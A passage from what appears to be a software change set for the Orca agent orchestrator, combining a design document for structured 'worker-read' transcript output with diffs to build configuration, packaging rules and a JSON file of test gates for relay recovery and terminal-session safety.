"fallbackReason": null,
"warnings": []
}
```
Terminal fallback uses the same envelope and keeps the existing terminal data:
```json
{
"dispatchId": "dispatch_123",
"source": "terminal",
"sourceIdentity": "opaque-terminal-incarnation",
"terminal": {
"tail": ["..."],
"status": "running",
"nextCursor": "..."
},
"cursor": "opaque-next-cursor",
"fallbackReason": "session_not_reported",
"warnings": []
}
```
For backward compatibility:
- the terminal branch retains the existing `terminal.tail`, `terminal.status`, and
`terminal.nextCursor` fields;
- non-JSON output prints readable transcript entries or terminal lines without requiring an agent
to branch on JSON manually;
- a mixed-version federated read can return the legacy terminal shape, which the Run home wraps as
a labeled terminal response.
### Fallback reasons
Fallback reasons are bounded typed values, not arbitrary policy:
- `provider_unsupported`
- `session_not_reported`
- `transcript_missing`
- `transcript_unreadable`
- `transcript_parse_failed`
- `remote_capability_unavailable`
Warnings may provide safe diagnostic context, but must not contain a remote filesystem path.
### Typed errors
Errors are used when returning any source would be misleading:
- `dispatch_not_found`
- `worker_identity_changed`
- `source_changed`
- `cursor_invalid`
- `cursor_dispatch_mismatch`
- `transcript_required`
- the existing connected-server unavailable/unknown result
`source_changed` means the exact pane is now associated with a different provider session than the
one pinned by the cursor. The caller starts a new read without the old cursor. Orca never silently
jumps to the replacement session.
## Source identity and cursor rules
The cursor is opaque to clients and contains only non-sensitive routing data:
- cursor version;
- Dispatch ID;
- source kind;
- an opaque digest of the exact source identity;
- provider-specific or terminal paging position.
It must not contain a transcript path.
On every continued read, the worker server:
1. revalidates the Dispatch's exact process attachment;
2. resolves the current pane/session association;
3. compares its source digest with the cursor;
4. reads only when they still match; and
5. otherwise returns `source_changed` or `worker_identity_changed`.
The cursor is source-pinned even when the request uses `--source auto`. `auto` chooses only on the
first page.
The implementation uses a versioned stateless token. The token is not an authority credential:
every read revalidates the Dispatch, process, pane, source digest, and provider session before
returning data. This lets paging survive an Orca restart without adding cursor-secret persistence.
## Runtime architecture
### 1. Resolve the Dispatch at its Run home
The Run home remains authoritative for Task and Dispatch state. It looks up the Dispatch and its
pinned worker server exactly as `worker-show` and the current `worker-read` do.
No automatic placement or server selection is added.
Current implementation anchors:
- `src/main/runtime/rpc/methods/orchestration-worker-control.ts` owns local and federated
`worker-read` routing.
- `src/main/runtime/rpc/methods/orchestration-worker-observation.ts` validates the exact attached
worker.
- `src/cli/handlers/orchestration.ts` owns the current CLI request and terminal rendering.
### 2. Route the read to the worker server
For a local worker, the Run home and worker server are the same runtime.
For a federated worker, the Run home calls the existing federation read route on the server pinned
to the Dispatch. The request contains the Dispatch ID, source preference, cursor, and limit—not a
terminal handle, session ID, or transcript path chosen by the coordinator.
### 3. Revalidate the exact worker
The worker server uses the existing Dispatch attachment to verify:
- the exact managed pane;
- the exact terminal/process incarnation; and
- that the Dispatch has not been replaced, stopped, or detached.
This preserves the same no-cross-worker rule already used by worker lifecycle and terminal reads.
### 4. Resolve the pane's provider session
Add one runtime-owned resolver that returns a snapshot similar to:
```ts
type ExactWorkerProviderSession = {
paneKey: string
agent: TuiAgent
providerSession: AgentProviderSessionMetadata
observedAt: number
}
```
The resolver may use the current runtime graph/headless retained status, but it must accept the
Dispatch's exact pane identity as input. It must not search all sessions by working directory or
agent type.
The source association is considered usable only when:
- it belongs to the Dispatch's exact current pane/process;
- the hook metadata is fresh enough to belong to that process incarnation;
- the provider session metadata passes existing normalization/canonicalization; and
- a supported adapter can resolve an exact transcript.
If these checks fail under `auto`, the read falls back to terminal output.
Current session/status anchors:
- `src/shared/agent-session-resume.ts` defines normalized provider-session metadata.
- `src/renderer/src/store/slices/agent-status.ts` maintains pane-scoped live agent status.
- `src/shared/runtime-types.ts` carries compatible agent status in runtime/mobile graph snapshots.
- `src/main/runtime/orca-runtime.ts` preserves provider-session metadata when it publishes those
snapshots.
### 5. Read through a narrow adapter
Reuse the existing bounded native-chat transcript parser rather than adding another parser stack.
Extract or wrap its pure reader behind a small orchestration adapter:
```ts
type WorkerTranscriptReader = {
provider: 'codex' | 'claude' | 'openclaude' | 'grok'
readPage(input: ExactTranscriptRead): Promise<ExactTranscriptPage>
}
```
This is deliberately not a registry for every possible agent capability. Add an adapter only when
an exact locator and a tested reader already exist.
Current reader anchors:
- `src/main/native-chat/transcript-watch.ts` provides bounded transcript reads/subscriptions.
- `src/main/runtime/rpc/methods/native-chat.ts` exposes the existing reader over runtime RPC.
- `src/main/ipc/native-chat.ts` exposes the same reader to the desktop renderer.
The transcript response should preserve the existing structured message/block representation and
the supported fields that the proven reader already understands. Unknown or skipped input should
produce parsing warnings rather than being silently presented as a complete transcript.
### 6. Return bounded data
Every path enforces:
- at most 50 transcript messages per page (40 by default);
- a maximum serialized response size;
- existing clipping/redaction rules for large tool input and output;
- opaque projection of transcript-position fallback IDs and redaction of Dispatch capability tokens;
- deterministic pagination; and
- no transcript path leakage.
Transcript observation is read-only. A failure or unknown network result must never trigger worker
restart, retry, stop, or Task mutation.
## Federation and cross-platform behavior
The core topology is:
```text
Mac Run home
-> authenticated connected-server RPC
-> Windows worker server
-> exact Windows pane/session
-> Windows-local transcript reader
-> bounded structured page back to Mac
```
The reverse direction must work identically.
Platform rules:
- Use Node path operations only on the server that owns the path.
- Do not normalize Windows paths on macOS or macOS/Linux paths on Windows.
- SSH and WSL execution remain behind their owning Orca server.
- If the exact transcript is accessible only on an SSH/WSL execution host, the worker server must
use an existing host-aware read mechanism or fall back to terminal. Do not copy the path to the
Run home.
- Mixed-version capability negotiation applies only at the Orca server protocol boundary.
- A server that does not advertise structured worker read receives the existing terminal-read RPC.
Federation adds one narrow additive RPC, `orchestration.federationReadOutput`. The Run home probes
it by calling it. If the worker server returns `method_not_found`, the Run home calls the existing
`orchestration.federationRead` terminal method and wraps that result as a labeled
`remote_capability_unavailable` fallback. No generalized capability matrix is added.
## Lifecycle behavior
### Provider session appears after worker start
Hooks may report a session after the TUI becomes ready. An initial `auto` read may therefore return
terminal output. A later first-page `auto` read may select transcript output.
Once a cursor is returned, that cursor remains pinned to its selected source.
### Provider session changes
Compaction, resume, or process replacement may produce a new provider session:
- a fresh read without a cursor may select the new exact session;
- a cursor for the old session returns `source_changed`;
- Orca does not merge the old and new transcripts implicitly.
### Orca restart
After restart, the worker server re-establishes the exact pane/process association using the same
runtime graph and retained-hook mechanisms used by sidebar/session recovery.
- If exact identity and session still match, paging continues.
- If process identity is uncertain, return `worker_identity_changed`.
- If only transcript identity is unavailable, `auto` may start a new terminal page but must not
reinterpret an old transcript cursor as a terminal cursor.
### Disconnect
A disconnected federated read is a read-only unknown result. Reissuing the same read is safe.
No mutation request ledger, durable outbox, automatic failover, or worker replacement is needed.
## Implementation plan
### Work package 1 — Correct the contract and types
- Update the orchestration checklist to replace the inaccurate claim that exact pane-to-session
association does not exist.
- Add the source preference, response envelope, fallback enums, and opaque cursor types.
- Keep the existing terminal response fields compatible.
- Add the CLI `--source` option and accept both legacy numeric and new opaque cursors.
Exit gate: contract tests cover legacy terminal JSON and the new labeled envelopes.
### Work package 2 — Runtime exact-session resolver
- Add a runtime method that resolves agent status for an exact Dispatch pane/process.
- Reuse the existing graph/headless retained status and provider-session normalization.
- Reject stale pane or process-incarnation associations.
- Test multiple panes and multiple sessions in the same worktree and directory.
Exit gate: the resolver can never return a sibling pane's session.
### Work package 3 — Codex transcript adapter
- Reuse the current bounded native-chat Codex reader.
- Add deterministic page conversion and parsing warnings.
- Enforce entry and byte limits.
- Produce a path-free source identity digest and cursor.
- Add Claude only if it follows this same path without new infrastructure.
Exit gate: exact Codex transcript pages are stable, bounded, and contain no local path.
### Work package 4 — Local `worker-read`
- Resolve and validate the exact worker.
- Implement `auto`, `transcript`, and `terminal`.
- Pin the source across cursor pages.
- Preserve the existing terminal fallback and non-JSON rendering.
Exit gate: local dogfood proves correct selection with several simultaneous same-directory Codex
sessions.
### Work package 5 — Federated `worker-read`
- Add the narrow connected-server capability.
- Route transcript resolution and reading to the worker server.
- Wrap legacy remote terminal responses as labeled fallbacks.
- Reject mismatched Dispatch/server/session cursors.
- Ensure paths and internal server identity remain out of ordinary output.
Exit gate: physical Mac-to-Windows and Windows-to-Mac reads both pass.
### Work package 6 — Restart, fallback, and documentation
- Cover runtime restart, renderer restart, disconnect, stale status, missing hooks, unreadable
transcript, unsupported providers, and mixed server versions.
- Update CLI help, the orchestration skill, and the implementation checklist.
- Dogfood the common coordinator loop using only the documented commands.
Exit gate: every fallback is truthful and no fallback changes worker lifecycle state.
## Validation plan
### Unit and contract tests
| Area | Required proof |
| --------------------- | ------------------------------------------------------------------------------------ |
| Exact resolution | A Dispatch resolves only its attached pane and process incarnation. |
| No directory guessing | Two Codex sessions in the same worktree cannot cross-read. |
| Source choice | `auto` prefers an exact supported transcript and otherwise labels terminal fallback. |
| Explicit source | `transcript` fails truthfully when unavailable; `terminal` never probes transcript. |
| Cursor pinning | Continued pages stay on the same source and provider session. |
| Session replacement | An old cursor returns `source_changed`. |
| Cursor custody | A cursor for another Dispatch is rejected. |
| Parsing | Malformed/skipped transcript records produce bounded warnings. |
| Limits | Entry count, block size, and total serialized response are bounded. |
| Privacy | Responses and cursors contain no transcript path. |
| Compatibility | Existing terminal fields and numeric cursors continue to work. |
Likely focused test locations:
- provider-session normalization and pane association tests;
- native-chat transcript reader tests;
- orchestration worker-control RPC tests;
- orchestration worker CLI tests; and
- federation protocol and physical harness tests.
### Local integration scenarios
1. Start a Codex worker and confirm the sidebar reports its provider session.
2. Read the Dispatch and verify `source=transcript`.
3. Start two Codex workers in the same worktree.
4. Give them distinct prompts and verify neither read contains the other's content.
5. Page both transcripts and verify stable source identities.
6. replace or resume one session and verify its old cursor returns `source_changed`.
7. Disable hooks and verify a labeled terminal fallback.
8. Remove or make the transcript unreadable and verify a safe fallback or
`transcript_required`, depending on the requested source.
### Physical federation matrix
| Run home | Worker server | Worker location | Required outcome |
| -------- | ------------- | --------------- | --------------------------------------------------------------- |
| macOS | Windows | native Windows | Exact structured page or labeled supported fallback |
| Windows | macOS | native macOS | Exact structured page or labeled supported fallback |
| macOS | macOS/Linux | SSH host | Exact host-aware page or terminal fallback without path leakage |
| Windows | Windows | WSL | Exact host-aware page or terminal fallback without path leakage |
For both Mac/Windows directions:
- run multiple workers at once;
- page beyond the first response;
- restart the Run home;
- restart the worker server;
- disconnect and reconnect the server;
- verify mixed-version fallback with one server lacking the new capability; and
- compare the selected provider session with the sidebar/native-chat session for the same pane.
### Dogfood procedure
The dogfood is successful only if a coordinator can follow this loop without internal IDs:
1. Create/use a Run.
2. Start one local worker and one connected-server worker.
3. Wait for both starts to settle.
4. Call `worker-read --source auto` for each Dispatch.
5. Continue each cursor through at least two pages.
6. Confirm output belongs to the correct prompt and machine.
7. Trigger one fallback case.
8. Complete both workers and confirm reads never altered lifecycle state.
Record:
- command and response;
- chosen source and fallback reason;
- worker server/platform;
- provider and session match;
- cursor behavior;
- path-leak check;
- restart/disconnect outcome; and
- any agent confusion using only CLI help and the orchestration skill.
## Acceptance criteria
Implementation is complete only when:
- `worker-read` selects an exact transcript or returns a clearly labeled terminal fallback.
- No test or dogfood scenario reads a sibling or previous provider session.
- A cursor never switches source or provider session silently.
- Mac-to-Windows and Windows-to-Mac physical reads pass.
- Runtime restart and disconnect behavior are safe and understandable.
- Unsupported agents and mixed versions retain useful terminal output.
- Transcript paths never leave the server that owns them.
- Existing terminal-read clients remain compatible.
- The common agent path remains one command with no server/session/path inputs.
- No UI, scheduling, retry, integration tracking, or generalized provider framework is added.
## Explicit non-goals
- No dashboard or sidebar changes.
- No coordinator chat changes.
- No automatic worker placement, retry, replacement, or recovery.
- No commit, test, branch, merge, or integration tracking.
- No provider-session locking or resume orchestration.
- No live transcript subscription in the orchestration API.
- No universal transcript/event ontology.
- No cross-server filesystem access from the Run home.
- No replicated Run database or automatic Run-home failover.
- No generalized access-control or capability framework.
## Main risks and mitigations
| Risk | Mitigation |
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| Live session status is stale or renderer-owned | Resolve through a runtime-owned exact-pane snapshot and bind it to process incarnation. |
| Two sessions share a directory | Never use directory/latest-session lookup; require exact pane/session metadata. |
| A session changes between pages | Pin source identity in the cursor and return `source_changed`. |
| Remote path is meaningless or sensitive | Read only on the worker server and never serialize the path. |
| Transcript parser drops data | Preserve supported structured blocks and return parsing warnings. |
| Transcript metadata exposes a path/credential | Make file-position IDs opaque and redact Dispatch capabilities from all structured text/payloads. |
| Mixed server versions | Negotiate one narrow capability and fall back to existing terminal read. |
| Full-screen terminal output remains noisy | Prefer structured output only when exact; retain terminal as the universal safety path. |
| Scope expands into a provider platform | Ship Codex first and require proven exact association plus an existing reader for every addition. |
## Decision
Implement structured worker output as a narrow extension of `worker-read`.
The prerequisite is not a new sidebar or status system: Orca already tracks exact pane-scoped
provider sessions. The work is to make that existing association available to the worker-owning
runtime, read the transcript locally through proven readers, pin pagination to that source, and
federate only the bounded result.
+15 -2
View File
@@ -1,6 +1,10 @@
import { spawnSync } from 'node:child_process'
import { join } from 'node:path'
import type { NormalizedOutputOptions, OutputBundle, OutputChunk, Plugin } from 'rollup'
import type { Plugin, Rollup } from 'vite'
type NormalizedOutputOptions = Rollup.NormalizedOutputOptions
type OutputBundle = Rollup.OutputBundle
type OutputChunk = Rollup.OutputChunk
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
// chunk gained `require("electron")` (an import edge added in #7642), and the
@@ -97,6 +101,8 @@ function smokeLoadDaemonEntry(outputDir: string): void {
}
export function createPlainNodeEntryGuardPlugin(): Plugin {
let daemonOutputDir: string | undefined
return {
name: 'orca-plain-node-entry-guard',
writeBundle(options: NormalizedOutputOptions, bundle: OutputBundle) {
@@ -124,7 +130,14 @@ export function createPlainNodeEntryGuardPlugin(): Plugin {
}
if (entryByName.has('daemon-entry') && options.dir) {
smokeLoadDaemonEntry(options.dir)
daemonOutputDir = options.dir
}
},
closeBundle() {
if (daemonOutputDir) {
const outputDir = daemonOutputDir
daemonOutputDir = undefined
smokeLoadDaemonEntry(outputDir)
}
}
}
+17 -1
View File
@@ -12,6 +12,7 @@ const {
verifyPackagedMainRuntimeDeps
} = require('./packaged-runtime-node-modules.cjs')
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
@@ -32,11 +33,17 @@ const relayExtraResource = {
from: 'out/relay',
to: 'relay'
}
// Why: bundled plugins are immutable install inputs and must remain ordinary
// directories so the startup bootstrap can verify and publish exact bytes.
const bundledPluginResources = {
from: 'resources/plugins/launch',
to: 'plugins/launch'
}
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
// from package directories where pnpm's symlink farm is absent. Copy the exact
// runtime dependency closure to Resources/node_modules so bare require() calls
// do not fall through to a developer checkout's node_modules.
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
const macSpeechNativeResource = {
from: 'node_modules/sherpa-onnx-darwin-${arch}',
to: 'node_modules/sherpa-onnx-darwin-${arch}'
@@ -79,6 +86,8 @@ module.exports = {
'!Casks{,/**/*}',
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
'!out/**/*.test.js',
// Why: Vite's manifest is only used to project the paired web client.
'!out/renderer/.vite{,/**/*}',
'!electron.vite.config.{js,ts,mjs,cjs}',
'!{.eslintcache,eslint.config.mjs,.prettierignore,.prettierrc.yaml,CHANGELOG.md,README.md}',
'!{.env,.env.*,.npmrc,pnpm-lock.yaml}',
@@ -87,6 +96,9 @@ module.exports = {
// it from process.resourcesPath; exclude the source copy from app.asar.
'!resources/onboarding/feature-wall/**',
'!resources/skills/**',
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
// packing the source tree into app.asar would duplicate those exact bytes.
'!resources/plugins/launch/**',
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
// (beside the native resources/bin/orca.exe). Packing the source tree into
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
@@ -129,6 +141,7 @@ module.exports = {
'out/main/hermes/**',
'out/main/win32-utils.js',
'out/main/daemon-entry.js',
'out/main/plugin-host-entry.js',
'out/main/computer-sidecar.js',
'out/main/parcel-watcher-process-entry.js',
'out/main/chunks/**',
@@ -178,6 +191,9 @@ module.exports = {
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
)
}
// Why: inspect electron-builder's real output so a broken extraResources
// mapping fails packaging before bundled content reaches users.
verifyPackagedPluginResources(resourcesDir)
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
for (const filename of readdirSync(resourcesDir)) {
+15
View File
@@ -0,0 +1,15 @@
import { defineConfig } from 'electron-vite'
import { electronViteConfig } from '../electron.vite.config'
const target = process.env.ORCA_ELECTRON_VITE_TARGET
const configByTarget = {
main: { main: electronViteConfig.main },
preload: { preload: electronViteConfig.preload },
renderer: { renderer: electronViteConfig.renderer }
}
if (!target || !Object.prototype.hasOwnProperty.call(configByTarget, target)) {
throw new Error(`Invalid ORCA_ELECTRON_VITE_TARGET: ${target ?? '<unset>'}`)
}
export default defineConfig(configByTarget[target as keyof typeof configByTarget])
File diff suppressed because one or more lines are too long
+449 -17
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"updatedAt": "2026-07-22",
"updatedAt": "2026-07-26",
"policy": {
"maturityLevels": [
"experimental",
@@ -16,6 +16,233 @@
}
},
"gates": [
{
"id": "mobile-relay.endpoint-recovery",
"title": "Mobile relay recovery retries offline hosts and races direct endpoints",
"maturity": "experimental",
"protection": "partial",
"owner": "mobile-runtime",
"layer": "shared-mobile-transport-contract",
"surfaces": [
"paired mobile reconnect",
"cloud relay host-offline recovery",
"LAN direct endpoint",
"Tailscale direct endpoint"
],
"platforms": [
"ios",
"android",
"macos",
"linux",
"windows"
],
"providers": [
"lan",
"tailscale",
"cloud-relay"
],
"coveredPlatforms": [
"macos"
],
"coveredProviders": [
"lan",
"tailscale",
"cloud-relay"
],
"coverageNotes": "Deterministic TypeScript tests cover shared close-code policy, foreground retry timers, direct-winner cancellation, and concurrent LAN/Tailscale authentication. Physical iOS/Android radios, GFE, and production relay recovery remain live-test gaps.",
"motivatingLinks": [
"https://github.com/stablyai/orca-cloud/pull/96"
],
"invariant": "A foregrounded paired phone must recover from relay HOST_OFFLINE without a foreground or network-change signal, while direct recovery must select the first authenticated configured LAN or Tailscale endpoint without serial timeout delays. Backgrounding, direct success, or stop must cancel pending work, and losing probes must close without affecting the winner.",
"oracle": "Inject deterministic relay close codes, random bytes, fake timers, and independently controlled direct clients. Require HOST_OFFLINE to replace any faster transport timer with one 5-15 second retry, require no retry before the selected delay, race all unique non-relay endpoints, select the first authenticated path, close every loser exactly once, and retain no retry after direct connectivity wins.",
"commands": [
"pnpm --dir mobile exec vitest run --root .. mobile/src/transport/mobile-direct-endpoint-probe.test.ts mobile/src/transport/mobile-relay-reconnect-controller.test.ts mobile/src/transport/mobile-endpoint-supervisor.test.ts",
"pnpm exec vitest run --config config/vitest.config.ts src/shared/mobile-relay-close-codes.test.ts --reporter=dot"
],
"testFiles": [
"mobile/src/transport/mobile-direct-endpoint-probe.test.ts",
"mobile/src/transport/mobile-relay-reconnect-controller.test.ts",
"mobile/src/transport/mobile-endpoint-supervisor.test.ts",
"src/shared/mobile-relay-close-codes.test.ts"
],
"assertionRefs": [
{
"file": "mobile/src/transport/mobile-direct-endpoint-probe.test.ts",
"assertions": [
"a reachable Tailscale endpoint authenticates without waiting for a stale primary LAN timeout",
"the stale direct candidate closes while the authenticated winner stays open"
]
},
{
"file": "mobile/src/transport/mobile-relay-reconnect-controller.test.ts",
"assertions": [
"HOST_OFFLINE replaces a pending capacity retry with the bounded host-offline delay",
"direct connectivity cancels the pending relay retry"
]
},
{
"file": "mobile/src/transport/mobile-endpoint-supervisor.test.ts",
"assertions": [
"a foregrounded supervisor retries HOST_OFFLINE without an external lifecycle signal"
]
},
{
"file": "src/shared/mobile-relay-close-codes.test.ts",
"assertions": [
"HOST_OFFLINE maps to self-healing full-jitter recovery"
]
}
],
"evidenceRuns": [
{
"date": "2026-07-25",
"runner": "local",
"platform": "macos",
"command": "pnpm --dir mobile exec vitest run --root .. mobile/src/transport/mobile-direct-endpoint-probe.test.ts mobile/src/transport/mobile-relay-reconnect-controller.test.ts mobile/src/transport/mobile-endpoint-supervisor.test.ts",
"result": "passed",
"durationSeconds": 0.89,
"summary": "Three focused mobile transport files passed with 39 assertions."
},
{
"date": "2026-07-25",
"runner": "local",
"platform": "macos",
"command": "pnpm exec vitest run --config config/vitest.config.ts src/shared/mobile-relay-close-codes.test.ts --reporter=dot",
"result": "passed",
"durationSeconds": 0.19,
"summary": "The shared close-code contract passed with five assertions."
}
],
"runtimeBudget": {
"p95Seconds": 5,
"scope": "focused shared and mobile transport unit tests"
},
"flakeHistory": {
"status": "unknown",
"evidence": "Two deterministic local runs exist; CI and soak history are not yet available."
},
"redGreenEvidence": {
"status": "complete",
"evidence": "The prior external-signal HOST_OFFLINE policy fails the retry oracle, and the prior serial direct probe fails the first-authenticated-endpoint timing oracle. Both pass with the candidate behavior."
},
"performanceBudget": {
"required": true,
"evidence": "All configured direct candidates start in one turn, the first authenticated candidate wins after 100 ms in the deterministic test, and every losing client is closed. A physical-device radio and battery budget is still required before promotion."
},
"promotionCriteria": [
"Collect 100 consecutive CI passes or 14 days of soak history.",
"Run paired iOS and Android recovery through production-like GFE HOST_OFFLINE responses.",
"Measure reconnect radio and battery impact for the 5-15 second foreground retry window."
],
"knownGaps": [
"No physical iOS or Android device was exercised.",
"The deterministic transport seam does not measure production GFE, carrier NAT, DNS, TLS, or Cloud SQL latency.",
"Background-to-foreground recovery remains covered by existing supervisor tests but lacks a physical sleep/wake run."
],
"demotionRule": "Keep experimental or demote if focused tests flake, HOST_OFFLINE can park indefinitely, direct probes serialize configured endpoints, loser cleanup leaks clients, or physical-device radio cost exceeds the measured budget."
},
{
"id": "desktop-relay.assignment-backpressure",
"title": "Desktop relay drain recovery cannot amplify a director outage",
"maturity": "experimental",
"protection": "partial",
"owner": "desktop-runtime",
"layer": "main-relay-state-machine",
"surfaces": [
"desktop relay drain recovery",
"director assignment overload",
"relay broker shutdown"
],
"platforms": [
"macos",
"linux",
"windows"
],
"providers": [
"cloud-relay"
],
"coveredPlatforms": [
"macos"
],
"coveredProviders": [
"cloud-relay"
],
"coverageNotes": "Deterministic main-process tests cover duplicate drain notifications, full-jitter backoff, Retry-After during initial setup and drain recovery, successful recovery, and broker-close cleanup. Packaged desktop, mixed-version fleets, GFE, and production Cloud SQL remain live-test gaps.",
"motivatingLinks": [
"https://github.com/stablyai/orca-cloud/actions/runs/30223521062"
],
"invariant": "One relay host may have at most one assignment attempt or retry timer per recovery path. Sustained director failure must increase the retry window up to five minutes, a bounded Retry-After must be respected during initial setup and drain recovery, shutdown must cancel pending work, and recovery must activate the authoritative assigned origin.",
"oracle": "Inject duplicate drain events, deterministic randomness, fake time, repeated assignment failures, a 30-second Retry-After during initial setup and drain recovery, broker close, and eventual director recovery. Count every assignment call, require 500 ms then 1,000 ms retry windows, reject duplicate fanout, require no pre-hint retry or post-close work, and prove the recovered cell becomes authoritative.",
"commands": [
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot"
],
"testFiles": [
"src/main/runtime/relay/relay-session-broker.test.ts",
"src/main/runtime/relay/relay-http-client.test.ts",
"src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts"
],
"assertionRefs": [
{
"file": "src/main/runtime/relay/relay-session-broker.test.ts",
"assertions": [
"duplicate drain notifications share one exponentially backed-off retry schedule",
"Retry-After suppresses early assignment requests",
"broker close prevents retry resurrection",
"a later successful assignment activates the new origin"
]
},
{
"file": "src/main/runtime/relay/relay-http-client.test.ts",
"assertions": [
"assignment overload preserves a bounded Retry-After hint"
]
},
{
"file": "src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts",
"assertions": [
"initial relay setup does not retry before Retry-After expires"
]
}
],
"evidenceRuns": [
{
"date": "2026-07-26",
"runner": "local",
"platform": "macos",
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot",
"result": "passed",
"durationSeconds": 0.49,
"summary": "Three focused relay files passed with 25 assertions."
}
],
"runtimeBudget": {
"p95Seconds": 5,
"scope": "focused desktop relay state-machine tests"
},
"flakeHistory": {
"status": "unknown",
"evidence": "One deterministic local run exists; CI and soak history are not yet available."
},
"redGreenEvidence": {
"status": "complete",
"evidence": "The prior fixed-delay implementation issued a duplicate assignment within 499 ms and ignored Retry-After, while the candidate passes the byte-identical timer and call-count oracle."
},
"performanceBudget": {
"required": true,
"evidence": "One host retains at most one assignment attempt or retry timer, retry windows grow to a five-minute cap, duplicate drain events add no calls, and close leaves no timer-driven work."
},
"promotionCriteria": [
"Collect 100 consecutive CI passes or 14 days of soak history.",
"Run a mixed-version load test with at least the incident-scale desktop population.",
"Verify production director request rate decays during an injected assignment outage."
],
"knownGaps": [
"No packaged desktop or physical phone was exercised.",
"The deterministic seam does not measure production GFE, carrier NAT, DNS, TLS, or Cloud SQL behavior.",
"Legacy desktop versions remain dependent on server-side overload protection."
],
"demotionRule": "Keep experimental or demote if assignment calls overlap, duplicate drain events bypass backoff, Retry-After is ignored, close resurrects work, or mixed-version request rate exceeds the reviewed director budget."
},
{
"id": "git-worktree.refresh-event-semantics",
"title": "Index-only Git metadata cannot trigger structural worktree refresh fanout",
@@ -905,47 +1132,77 @@
},
{
"id": "terminal-session.daemon-generation-reconnect-safety",
"title": "Reconnect lifecycle echoes cannot kill live daemon-generation terminals",
"title": "Negotiated close intent protects live daemon-generation terminals",
"maturity": "experimental",
"protection": "partial",
"owner": "terminal-runtime",
"layer": "renderer-runtime-rpc-windows-daemon-contract",
"layer": "renderer-runtime-rpc-daemon-contract",
"surfaces": [
"runtime session reconnect",
"legacy daemon adoption",
"mixed-version paired viewer close",
"terminal lifecycle close",
"app relaunch and profile reconnect"
],
"platforms": ["macos", "linux", "windows"],
"providers": ["daemon", "runtime", "ssh", "wsl"],
"coveredPlatforms": ["windows"],
"coveredPlatforms": ["linux", "macos", "windows"],
"coveredProviders": ["daemon", "runtime"],
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The current harness additionally includes the v26 agent-authority boundary while retaining v24 clean-disconnect and v25 startup-ingress coverage; that six-generation Windows rerun remains to be collected. Deterministic host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, authenticated legacy and unattributed intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. Docker is unavailable and WSL is not installed on this runner, so live SSH/WSL remain gaps.",
"coverageNotes": "Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps.",
"motivatingLinks": [
"https://github.com/stablyai/orca/issues/9749",
"https://github.com/stablyai/orca/issues/9949",
"https://github.com/stablyai/orca/issues/8871",
"https://github.com/stablyai/orca/issues/9138",
"https://github.com/stablyai/orca/issues/9229"
],
"invariant": "Reconnect, replay, or lifecycle observations must never kill a live PTY. Destructive close requires explicit user intent; lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Missing or incompatible evidence keeps and audits. Legacy daemon hello and warm reattachment remain non-destructive.",
"oracle": "Start six isolated native-Windows daemon generations on distinct versioned named pipes, let the production desktop scanner discover v21-v25 from a v26 client, attach live and stale-mirror canaries with exact root/descendant PID-start identities, reconnect and relaunch the production router path, issue repeated desktop and remote-profile lifecycle closes, and require every daemon, root, and descendant to remain alive with zero session-killed events. Unit contracts require unknown/stale/reused/cross-profile claims and live PTYs to refuse without kill or renderer-close calls, old servers to return method_not_found with no destructive fallback, authenticated legacy and explicit user closes to remain destructive, and dead whole-headless state to retire without signalling its retained PTY id.",
"invariant": "Reconnect, replay, or lifecycle observations from a viewer that negotiated explicit close intent must never kill a live PTY. A capable reasonless close must keep and republish; a legacy paired viewer must retain current-main behavior because its intentional close and cleanup echo are wire-identical. Lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Legacy daemon hello and warm reattachment remain non-destructive.",
